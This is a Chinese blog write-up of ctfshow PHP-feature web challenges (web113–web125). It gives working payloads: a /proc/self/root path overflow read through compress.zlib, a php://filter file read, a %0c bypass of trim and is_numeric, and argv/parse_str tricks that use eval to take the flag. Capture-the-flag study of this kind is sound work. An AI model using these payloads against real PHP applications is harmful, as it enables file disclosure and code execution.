• ctfshow web入门 php特性 web113-web125


    1.web113

    在这里插入图片描述
    和上题一样,/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
    在这里插入图片描述
    payload:

    compress.zlib://flag.php
    /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
    roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
    c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
    self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
    lf/root/proc/self/root/var/www/html/flag.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.web114

    发现没过滤filter
    payload:

    php://filter/resource=/flag.php
    
    • 1

    在这里插入图片描述

    3.web115

    在这里插入图片描述

    string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
    此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: 
    ◦ " " (ASCII 32 (0x20)),普通空格符。  
    ◦ "\t" (ASCII 9 (0x09)),制表符。  
    ◦ "\n" (ASCII 10 (0x0A)),换行符。  
    ◦ "\r" (ASCII 13 (0x0D)),回车符。  
    ◦ "\0" (ASCII 0 (0x00)),空字节符。  
    ◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    如何绕过is_numeric
    除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
    绕过trim和is_numeric
    只有%0c
    payload:

    %0c36
    
    • 1

    4.web123

    在这里插入图片描述
    在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了

    $_SERVER变量

    1.cli模式(命令行)下
    第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
    2.web网页模式下
    在web页模式下必须在php.ini开启register_argc_argv配置项
    设置register_argc_argv = On(默认是Off),重启服务, S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的 SERVER[argv]才会有效果这时候的_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
    a r g v , argv, argv,argc在web模式下不适用

    对于这题来说就是$a[0]= $_SERVER[‘QUERY_STRING’]
    +分割会把argv成多个部分

    
    $a=$_SERVER['argv'];
    var_dump($a);
    #传入 a=1+fl0g=flag_give_me
    #结果如下
    array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    parse_str

    parse_str 
    (PHP 4, PHP 5, PHP 7)
    parse_str — 将字符串解析成多个变量
    说明 
    void parse_str( string $encoded_string[, array &$result] )
    如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    payload:

    1.
    get: a=1+fl0g=flag_give_me
    post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
    2.
    CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
    3.
    get: $fl0g=flag_give_me;
    post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    5.web125

    在这里插入图片描述
    相对于上题来说,有过滤了echo等函数

    payload:

    get:
    a=1+fl0g=flag_give_me
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
    
    • 1
    • 2
    • 3
    • 4

    php特性
    php特性

  • 相关阅读:
    Django Web框架
    850. 矩形面积 II--(每日一难phase--day16)
    前端 :用HTML ,JS写一个 双色球彩票中将机制,因为时间不够,加上本人懒没有用CSS美化界面,多包涵
    金融业信贷风控算法8-支持向量机
    【Try to Hack】IPSec
    Linux重要知识点
    MonkeyRunner操作
    2023年亚太杯数学建模思路 - 案例:最短时间生产计划安排
    mac笔记本检查是否安装成功pandas
    内核中oops 错误解析以及问题定位
  • 原文地址:https://blog.csdn.net/m0_62207170/article/details/133553105